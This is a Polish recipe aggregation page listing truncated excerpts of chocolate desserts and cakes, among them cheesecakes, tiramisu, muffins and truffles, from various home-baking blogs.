płaskie łyżeczki sody 2 łyżki stołowe kakao 1 i 1/3 szkl. mleka 1 słoik dżemu śliwkowego kilka suszonych śliwek, drobno pokrojonych na polewę: 120 g gorzkiej czekolady 100 g masła Wymieszać suche składniki: mąkę, przyprawę do piernika, sodę i kakao, odstawić. Margarynę, cukier i jajka utrzeć łyżką lub zmiksować. Mieszając lub miksując na wolnych obrotach dodawać na przemian po trochu(...)Wmieszać suszone śliwki i przełożyć ciasto do keksówek . Piec w piekarniku nagrzanym do 175 st. C, na termoobiegu do “suchego patyczka” ( ok 40-45 minut).Wystudzić. Do rondelka wrzucić czekoladę i masło. Podgrzewać na wolnym ogniu do całkowitego rozpuszczenia, od czasu do czasu mieszając. Ciepłą polewę rozsmarować na cieście, posypać orzechową kruszonką

Moje domowe kucharzenie
Ciasto z krakersów 162

200g) 1 puszka mleka skondensowanego słodzonego 100 g margaryny garść suszonej żurawiny\ rodzynek Kresto garść lub więcej - orzechów [ u  mnie mix laskowych, ziemnych, włoskich, migdałów Kresto] czekolada do polania *składniki na małą formę\ tortownicę* - u mnie keksówka Krakersy  dość drobno pokruszyć.Dodać  mleko z puszki, rozpuszczoną margarynę , bakalie [ orzechy i migdały podprażyłam na suchej patelni(...)wymieszać.  Gotową masę przełożyć do lekko wytłuszczonej formy i piec ok 50 minut w piekarniku nagrzanym do 180 stopni. Wystudzone ciasto polać rozpuszczoną czekoladą

Moje domowe kucharzenie
Bounty 220

szkl. cukru 2 łyżki kakao 1 łyżeczka proszku do pieczenia Masa kokosowa: 1/2 l mleka 1/2 szkl.cukru 20 dag masła 25 dag wiórek kokosowych cukier waniliowy  Polewa: 2 czekolady 1/2 kostki margaryny Białka ubić na sztywno, dodać cukier, żółtka i nadal ubijać. Mąkę wymieszać z proszkiem do pieczenia i kakao, dodać do masy i delikatnie wymieszać. Wylać do blachy(...)minut). Do gorącej masy  dodać masło, i od czasu do czasu mieszać łyżką masę, aby masło się rozpuściło. Masę kokosową ostudzić i wyłożyć na biszkopt. Margarynę i połamane czekolady przełożyć do garnuszka, podgrzewać na parze, aż składniki się połączą.Następnie polać ciasto.Schłodzić w lodówce

Moje domowe kucharzenie
Super babki ;) 280

20min w temp.180st. Wykładamy na kratkę do ostygnięcia. Na zdjęciu są babeczki ciemne, bo dodałam kakao 2 łyżki. Można zrobić babeczki bez budyniu ale np z kawałkami pokruszonej czekolady. Ja robię też z bananem. A najbardziej lubię z budyniem i czekoladą. I jeszcze jedno: Na zdjęciu w silikonowej formie nie ma papilotek, ale zazwyczaj wykładam każdą dziurkę jeszcze dodatkowo papilotką

Olikowa kuchnia
Deser kubusiowy 353

cukru 15g masła 1 łyżka cukru 150g serka homogenizowanego naturalnego 2 łyżeczki cukru pudru (lub do smaku) aromat waniliowy 1/2 łyżeczki żelatyny 1 łyżka wody 6 herbatników 2 kostki czekolady deserowej do dekoracji Wykonanie: - na dnie dwóch pucharków ułożyć po 1,5 pokruszonego na małe kwadraty herbatnika - sok Kubuś podzielić mniej więcej na połowę, jedną zagotować z masłem(...)dopiero wtedy żelatynę wlać do reszty serka, dokładnie wymieszać - serek przełożyć na herbatniki, wyrównać, desery schłodzić w lodówce do zastygnięcia masy serowej - przed podaniem wierzch udekorować startą na tarce czekoladą, podawać schłodzone Deser po przygotowaniu należy schłodzić, gdyż na zimno smakuje najlepiej. Poszczególne warstwy smakołyku są dobrze widoczne i bardzo ładnie prezentują się w szklanych pucharkach. Do przygotowania masy serowej

Smakołyki Bereniki
Wyśmienity biszkopt orzechowy z bitą śmietaną (bez cukru i mąki) 215

jajek (osobno białka i żółtka) 3 łyżki miodu akacjowego (lub cukru/ksylitolu) 1/3 łyżeczki sody 1/3 łyżeczki proszku do pieczenia 250 ml kremówki 36% - do przełożenia ciasta 60 g gorzkiej czekolady dobrej jakości (u mnie 81%) + 2 łyżki mleka - na polewę Przygotowanie: Piekarnik nastawić na 170 stopni aby rozgrzał się podczas przygotowywania ciasta. Masło rozpuścić i przestudzić. W osobnym naczyniu wymieszać(...)formy i studzić na kratce. Po ostudzeniu ubić kremówkę, przeciąć biszkopt na dwa blaty i przełożyć śmietaną. Ja nie słodziłam śmietany, ale jeżeli chcecie możecie to zrobić podczas ubijania. Czekoladę rozpuścić w kąpieli wodnej i wymieszać z dwiema łyżkami mleka. Tak przygotowaną polewą posmarować cienko wierzch ciasta. Ciasto przechowywać w lodówce. Smacznego

Ze smakiem i z pasją
Sernik nowojorski 301

Myslałam, że Sernik z truskawkami i czekoladą to był najlepszy sernik jaki upiekłam, ale dzisiaj biję się w piersi, to nie był mój najlepszy sernik! Wzięłam trochę zmodyfikowałam ten mój przepis i dzisiaj z czystym sumieniem mogę powiedzieć, że na Wielkanoc 2014 upiekłam idealny sernik nowojorski (New York Cheesecake). Sernik nowojorski to klasyczny sernik, jest bardzo prosty do przygotowania Sernik(...)popękał podczas pieczenia jak to lubią serniki i tylko delikatnie opadł. Nie jest za słodki, z delikatną nutą wanilii i kardamonu, na kruchym spodzie, wykończony warstwą słodkiej śmietany, czekolady i dla kontrastu oblany frużeliną jagodową. Ten sernik nowojorski zrobił furorę na wielkanocnym stole. Sernik po upieczeniu należy odstawić na kilka godzin, najlepiej na całą noc do lodówki. Musi swoje odstać

Damsko-męskie spojrzenie na kuchnię
Truskawkowy las 207

usunąć, piec kolejne 20 minut. Wystudzić. Czekoladowy creme patisserie: 300 ml mleka 3 żółtka 75 g cukru 20 g skrobi ziemniaczanej 1 łyżka ekstraktu z wanilii 100 g gorzkiej czekolady 70% Ponadto: około 50 dag świeżych odszypułkowanych truskawek, umytych i osuszonych polewa żelująca Cukier utrzeć z żółtkami do białości na krem, wsypać wymieszane mąki( przez sitko- nie będzie grudek(...)cały czas mieszając drewnianą łyżką. Od momentu zagotowania gotować około 1 min, mieszając, aż krem zgęstnieje. Zdjąć z palnika i wmieszać ekstrakt z wanilii. Do gorącego kremu dodać połamaną czekoladę i mieszać, aż do jej rozpuszczenia w kremie. Jeszcze ciepły krem przelać na wystudzony spód od tarty, wyrównać. Na ciepły krem wyłożyć osuszone owoce. Udekorować listkami mięty. Polać polewą żelującą

Mia Cucina Sofieta
Sernik stracciatella 143

Zapraszam na szybki i lekki serniczek z groszkiem czekoladowym. Idealny na każdą porę roku. Kruchutkie i aromatyczne ciasto, delikatna ricotta, wyborna gorzka czekolada i świeży posmak cytryny sprawiają, że nie kończymy na jednym kawałku) Uwaga- uzależnia)) W necie znajduje się mnóstwo przepisów na ten klasyczny włoski sernik. Podaję link do jednego  z nich. Sernik stracciatella Ciasto tortownica(...)cukru  v   1 jajko  v   1 czubata łyżka proszku budyniowego( u mnie mączka ryżowa)  v    90 g groszku czekoladowego( z gorzkiej czekolady)  v   ½ łyżeczki otartej skórki z cytryny  v   ½ laski waniliowej (ziarenka) Składniki na lukier:  v  1 lub 2 łyżeczki soku z cytrynu( przefiltrowanego przez sitko

Mia Cucina Sofieta
Włoski deser Tiramisu 308

pucharkach, użyłam zwykłych okrągłych biszkoptów. Składniki: 2 żółtka, 350g serka mascarpone, 250g okrągłych biszkoptów, szklanka śmietanki 30%, 4 łyżki cukru pudru, 1/2 szklanki zaparzonej mocnej kawy, 50g startej mlecznej czekolady, 3 łyżki likieru amaretto. Przygotowanie Kawę wymieszać z likierem, w mieszance maczać biszkopty, ułożyć po dwie sztuki na dnie 6 pucharków.  Śmietankę ubić z cukrem pudrem na sztywno. Zmiksować(...)serkiem mascarpone. Nałożyć po łyżce masy na biszkopty. Kolejno układać warstwami namoczone biszkopty i masę serową.  Wierzch udekorować resztą masy serowej, pokruszonym namoczonym biszkoptem i startą czekoladą. Odstawić na około 3 godziny do lodówki, aby biszkopty zmiękły

Z miłości do słodkości
Grzybki i orzeszki, czyli świąteczne ciasteczka z kremem 449

masę budyniową. Mieszać, aż masa całkiem zgęstnieje. Ostudzić.  Masło utrzeć z margaryną na puch, dodawać po łyżce masy budyniowej.  Kremem napełniać skorupki i sklejać. Dodatkowo: 100g mlecznej czekolady,  2 łyżki śmietany 30%,  łyżka masła,  100g tartych orzechów laskowych (użyłam Back Mit). Czekoladę stopić wraz z masłem i śmietanką na parze.  Lekko przestudzoną masą smarować

Z miłości do słodkości
Ciasto 3 BIT 360

mąki pszennej,  5 czubatych łyżek mąki ziemniaczanej,  4 jajka,  1/2 l śmietanki 30%,  5 łyżek cukru pudru trzcinowego Diamant,  śmietan-fix,  50g startej czekolada.   Przygotowanie Na blasze o wym. 25x36 cm ułożyć ciasno herbatniki, jeden obok drugiego. Posmarować masą krówkową, przykryć kolejną warstwą herbatników.  2 szklanki mleka zagotować z masłem, cukrem waniliowym(...)ciasto, przykryć warstwą herbatników i wstawić na godzinę  do lodówki.   Śmietankę ubić z cukrem pudrem oraz fixami na sztywno, wyłożyć na ciasto.  Wierzch posypać startą czekoladą. Przechowywać w lodówce.                                      Smacznego:)   Przepis dodaję do akcji

Z miłości do słodkości
Tort chałwowo - czekoladowy z bezami 224

Krem czekoladowy:   5 jajek,  100g gorzkiej czekolady,  2 łyżki cukru,  łyżka kakao,  250g masła lub margaryny.  Jajka ubijać z cukrem na parze przez około 10minut. Następnie zdjąć z ognia, dodać kakao oraz posiekaną czekoladę. Ponownie postawić na parze i ubijać jeszcze przez 8-10minut, aż masa zgęstnieje. Przestudzić.  Masło utrzeć na puch

Z miłości do słodkości
Ciasto chałwowe - II wersja 215

jogurtu naturalnego greckiego,  250g serka mascarpone,  300 ml śmietanki 36%,  1/2 szklanki cukru,  3 łyżki miodu,  3 czubate łyżeczki żelatyny,  50 g gorzkiej czekolady,  2 łyżki śmietany 18%. Śmietankę zmiksować na sztywno. Dodać serek mascarpone, jogurt, miód, cukier oraz pokruszoną chałwę. Żelatynę zalać kilkoma łyżkami wrzątku, dokładnie rozmieszać i przestudzić. Miksując, powoli wlewać(...)żelatynę do masy chałwowej. Gotową masę wyłożyć na ciasto, równomiernie rozsmarować. Schłodzić. Czekolady stopić wraz ze śmietaną na parze. Przestudzić i zrobić na cieście esy-floresy. Ciasto wstawić do lodówki.   Źródło: My man's kitchen

Z miłości do słodkości
Muffinki a'la Tiramisu 236

wysokości. Piec około 30minut w temp. 180st. Ostudzić. Krem: 300ml śmietanki 30%,  2 łyżki cukru pudru,  1 opakowanie śmietan-fix,  łyżka cukru waniliowego,  starta czekolada do posypania.   Śmietankę ubić na sztywno, pod koniec ubijania dodając cukier puder oraz śmietan-fix.  Kremem udekorować babeczki, posypać startą czekoladą

Z miłości do słodkości
Klasyczny tort z kremem czekoladowym 229

przekroić na 3 równe części. Nasączyć 1/4 szklanką wody oraz 1/2 szk. likieru czekoladowego. Krem czekoladowy:  400g masła,  7 jajek,  szklanka cukru,  150g gorzkiej czekolady,  łyżka cukru waniliowego,  2 czubate łyżki kakao.   Jajka ubijać na parze przez około 12 minut, w między czasie dosypując cukier. Następnie zdjąć z ognia, dodać posiekaną czekoladę

Z miłości do słodkości
Muffiny podwojnie czekoladowe z malinami 124

przepisie nie ma malin, postanowilam je dolozyc tak od siebie by wzbogacic smak. Mysle, ze bylo to dobre posuniecie. Muffinki okazaly sie pyszne, szczegolnie dobra byla stopiona w srodku czekolada. skladniki suche: 1/3 szklanki cukru + 2 lyzki 1/2 szklanki kakao 1 i 1/2 szklanki maki 1 lyzeczka proszku do pieczenia skladnki mokre: 1/4 szklanki stopionego masla 3/4 szklanki mleka(...)jajka 1/2 szklanki posiekanej czekolady gorzkiej 1/2 szklanki malin wykonanie: Piekarnik nagrzewamy do 200°C. W jednej misce mieszamy wszystkie suche skladniki, w drugiej mokre. Przelewamy mokre skladniki do suchych. Dorzucamy posiekana czekolade i maliny. Mieszamy tylko tyle by sie polaczyly skladniki. Ciasto przekladamy do foremek. Pieczemy okolo 20 minut. Smacznego

Przysmaki Karolki
Malinowa niespodzianka 208

Nalesniki zrobilam wedlug tego przepisu. Nalesniki malinowo-czekoladowe skladniki na mase: kostka sera smietanowego 250g 4 lyzki cukru pudru 2 garscie malin mrozonych skladniki na sos: 100 g gorzkiej czekolady 150 ml kremowki 1 lyzka masla 2 lyzki cukru pudru 2 lyzki soku malinowego wykonanie: Skladniki masy dokladnie mieszamy ze soba, az maliny dokladnie polacza sie ze serkiem. Gotowa masa(...)cukrem pudrem, mieszamy, pilnujemy by sie nie zagotowala. Gdy bedzie juz dosc ciepla sciagamy z ognia, wrzucamy polamana na kawalki czekolade i maslo. Nieszamy az do chwili gdy czekolada z maslem sie rozpuszcza. Do sosu dolewamy 2 lyzki soku malinowego. Mieszamy. Sos mozemy podawac na cieplo albo na zimno. Przelozone masa serowo-malinowa nalesniki podajemy ze sosem czekoladowym. Smacznego

Przysmaki Karolki
Orzechowo-czekoladowe kalorie 214

cudownego ciasta. Prosze czestujcie sie :) Tarta orzechwo-czekoladowa skadniki: ciasto 100g mielonych orzechow laskowych 200g maki szczypta cynamonu i soli 50g cukru 125g masla 1 jajko masa 200g gorzkiej czekolady 70g mleka 270g smietany 2 jajka bita smietana do dekoracji Wykonanie: Mielone orzechy wymieszac z maka, sola, cynamonem i cukrem. Wbic jajko, dodac maslo pokrojone w wiorki. Wyrobic ciasto. Uformowac(...)pieczenia i obciazyc np grochem. Piec przez 20 minut w temperaturze 180°C. Wystudzic. Mleko i smietane wlac do rondelka, dodac polamana czekolade. Podgrzac az do rozpuszczenia sie czekolady. Caly czas mieszac. Dodac do masy rozmacone jajka i mieszac az do uzyskania gladkiej i lsniaccej masy. Wylac ja na przygotowane ciasto. Zapiec w piekarniku przez 20 minut w temperaturze

Przysmaki Karolki
Wisniowo-czekoladowa pokusa 168

apetyczne, nieprzekonywujace, takie zwyczajne. Musicie uwierzyc mi na slowo, ze warto poswiecic pare chwil w kuchni by potem zanurzac lyzeczke w czekoladowo-wisniowej delicji i delektowac sie fantastycznym polaczeniem czekolady, smietanki i wisni. Deser wisniowo-czekoladowy skladniki: 400g wisni z syropu 180g ciasteczek amaretti 300ml kremowki 100g gorzkiej czekolady kakao do posypania wykonanie: Czekolade kruszymy na kawalki i roztapiamy

Przysmaki Karolki
Swieta. Mazurki. Pisanki 145

robimy ramke z kuleczek lub waleczka. Piekarnik nagrzewamy do 200°C. Mazurki pieczemy okolo 15 minut. Przed wlozeniem do piekarnika nakluwamy je widelcem. skladniki na mase czekoladowa 150g gorzkiej czekolady 30g masla 2 lyzki mleka okolo 3 lyzki cukru pudru kilka kropel olejku pomaranczowego Wszystkie skladniki poza olejkiem podgrzewamy w garnuszku w kapieli wodnej. Czekolada i maslo w tym czasie

Przysmaki Karolki
W oczekiwaniu na snieg 160

wspomagac sztucznym swiatlem, za ktorym nie przepadam. Coz poczac? Jakos trzeba oslodzic sobie ten ponury dzien, a w takich chwilach najlepsze jest cos slodkiego. Do tego cos czekoladowego, bo czekolada jest dobra na wszystko. Ostatnio wlasnie takie wypieki goruja w mojej kuchni. Kazde ciasto, ktore wypiekam ma w sobie albo gorzka, najlepszej jakosci czekolade albo kakao. Uzupelniam w ten sposob(...)braki magnezu i poprawiam sobie humor. Ciasto czekoladowe z kremem z mascarpone skladniki: 350g gorzkiej czekolady 110g cukru + 75 g do bialek 150g masla 1/4 filizanki espresso 4 jajka 35g kakao 50g maki 75g rodzynek Krem z mascarpone: 350g serka mascarpone 1 czubata lyzka cukru pudru 50ml Amaretto wykonanie: Rodzynki zalewamy 2 lyzkami Amaretto i pozostawiamy na godzine. W kapieli

Przysmaki Karolki
W swiatecznym klimacie 174

cukru 150g goracego miodu 4 jajka lyzeczka sody oczyszczonej 1 lyzka przyprawy do piernika skladniki na krem: 3 szklanki mleka 2 opakowania budyniu smietankowego 250g miekkiego masla 100g bialej czekolady 3 lyzki cukru pudru dekoracja: 250ml smietanki 30% 100g bialej czekolady 1 opakowanie utrwalacza do smietany ewentualnie 1 lyzka cukru pudru zmielone orzechy laskowe do posypania wykonanie: Make przesiewamy

Przysmaki Karolki
Tort na różowe przyjęcie 149

różowe. Różowe więc były sukienki, różowe balony, serwetki itp Oczywiście tort też był różowy. Różowy tort z malinami składniki: przepis na biszkopt klik składniki na masę: 90 g gorzkiej czekolady 1 łyżeczka masła 500 g serka mascarpone 2 śmietanki kemerowski (po 250 ml każda) 6 łyżek Grenadiny około 5 łyżek cukru pudru 120 g mrożonych malin wykonanie: Po upieczeniu biszkopt(...)obręczą tortownicy. Kremówkę ubijamy mikserem, dodajemy do niej cukier puder. Następnie odkładamy 10 łyżek ubitej kremówki do osobnej miski. Do pozostałej części dodajemy serek mascarpone i Grenadinę. Dokładnie mieszamy. Czekoladę wraz z masłem roztapiamy w kąpieli wodnej, a gdy lekko przestygnie dodajemy do niej odłożoną wcześniej kremówkę. Po wymieszaniu nakładamy masę czekoladową na dolny krążek biszkoptu. Rozprowadzamy równo zachowując około

Przysmaki Karolki
Torcik orzechowy 251

Torcik bez mąki za to z mnóstwem orzechów i czekolady. Przepis łatwy, a ciasto zawsze udane.        Składniki :    80gr. miękkiego masła    80gr. cukru    5 jajek    200gr. mielonych orzechów laskowych    100gr. tartej czekolody mlecznej lub gorzkiej    2 łyżki rumu    1 łyżka adwokatu(...)Białka oddzielić od żółtek, ubić na sztywną pianę. W osobnej misce połączyć masło z cukrem i żółtkami, dodać orzechy, czekoladę, rum i adwokat, dokładnie wymieszać. Powstałą orzechową masę delikatnie połączyć z ubitymi białkami. Gotowe ciasto przelać do tortownicy 22cm , wyłożonej wcześniej papierem do pieczenia a boki wysmarować tłuszczem i obsypać mąką lub bułką tartą. Piec w temperaturze 160ºC przez

Zabawa smakiem
Trufle czekoladowe. 215

Trufle te powstały z pozostałego ze świątecznych tortów biszkopta. Mocno czekoladowe w 3 smakach. 100g gorzkiej czekolady (najlepiej 70%) 3 łyżki masła ok 12o ml śmietany kremówki szczypta soli Pokruszony suchy biszkopt ( najlepiej z domowego wypieku) Dodatkowo: kieliszek wódki , winiaku lub brandy , kakao skórka otarta z 2 pomarańczy kawa espresso ok 50 ml + kawa sypka w proszku (nie w granulkach(...)Czekoladę pokruszyć do małego garnka , dodać masło , śmietanę i sól. Rozpuścić na małym ogniu. Lekko przestudzić Wsypać biszkopt , tyle aby masa była gęsta. Podzielić ją na 3 części. Do pierwszej wlać wódkę , formować kulki i obtaczać w kakao Do drugiej wsypać połowę skórki pomarańczowej , a pozostałej obtaczać kulki. Do trzeciej wlać kawę i kulki obsypać sypką kawą. Smacznego :) Naszym faworytem

Malinowa Kawiarenka
Kostka Cappucino 376

gotującym się mlekiem i  gotować razem do zgęstnienia masy. Wystudzić , Masło utrzeć na puch , dodawać po łyżce wystudzony budyń. Śmietana 30% ubita na sztywno z cukrem waniliowym. Gorzka czekolada. Ułożenie poszczególnych warstw : biszkopt masa cappucino beza bita  śmietana utarta czekolada. Smacznego :) \ Polecam

Malinowa Kawiarenka
Mistrzowski sernik pomarańczowy . 227

złotem a drugim powstał u mnie sernik w kolorze i smaku pomarańczowym . (troszkę się w to złoto wpasowałam ;) ) Składniki : Spód : 200 g herbatników  100 g masła 80 g czekolady gorzkiej 1 łyżeczka kakao Masa serowa : 1kg sera na sernik (u mnie taki w wiadereczku ) 250 ml gęstego naturalnego jogurtu greckiego 4 jajka 1 szklanka cukru 1 budyń śmietankowy (dopiero(...)pomarańczowy , wzmocnił by jeszcze ten smak ) 1 czubata łyżka mąki ziemniaczanej 2 pomarańcze Wierzch : 1 szklanka kwaśniej gęstej śmietany 3 czubate łyżki dżemu pomarańczowego. Wykonanie : Herbatniki skruszyć . Masło z czekolada i kakao rozpuścić Połączyć z  ciastkami. Wysypać na dno formy , delikatnie docisnąć. U mnie tortownica i średnicy 28 cm. Z pomarańczy zetrzeć na grubej tarce skórkę  , uważając

Malinowa Kawiarenka
Sernik pomarańczowy bez pieczenia 4558

zimno, a więc chłodzą nas, gdy na zewnątrz jest coraz cieplej. Przepis można wykorzystać w tortownicy o średnicy 18cm. Sernik pomarańczowy bez pieczenia Składniki: 80g (10 sztuk) herbatników 30g czekolady deserowej 6 łyżek mleka masa serowa 400g twarogu sernikowego 250g mascarpone 4 łyżki cukru pudru 150ml soku wyciśniętego z pomarańczy (1-1,5szt) 2 łyżki żelatyny masa pomarańczowa 3 żółtka(...)pomarańczy (1szt) 1 łyżeczka skórki otartej z pomarańczy 2 łyżki soku z cytryny 6 łyżek cukru 70g masła 0,5 łyżeczki żelatyny rozpuszczonej w 1 łyżce zimnej wody Wykonanie: - czekoladę rozpuścić w kąpieli wodnej z mlekiem, energicznie wymieszać do połączenia się składników, dodać pokruszone bardzo drobno herbatniki, wymieszać i wyłożyć na spód tortownicy wyłożonej papierem do pieczenia, wyrównać i schłodzić

Smakołyki Bereniki

Proponowane wyszukiwania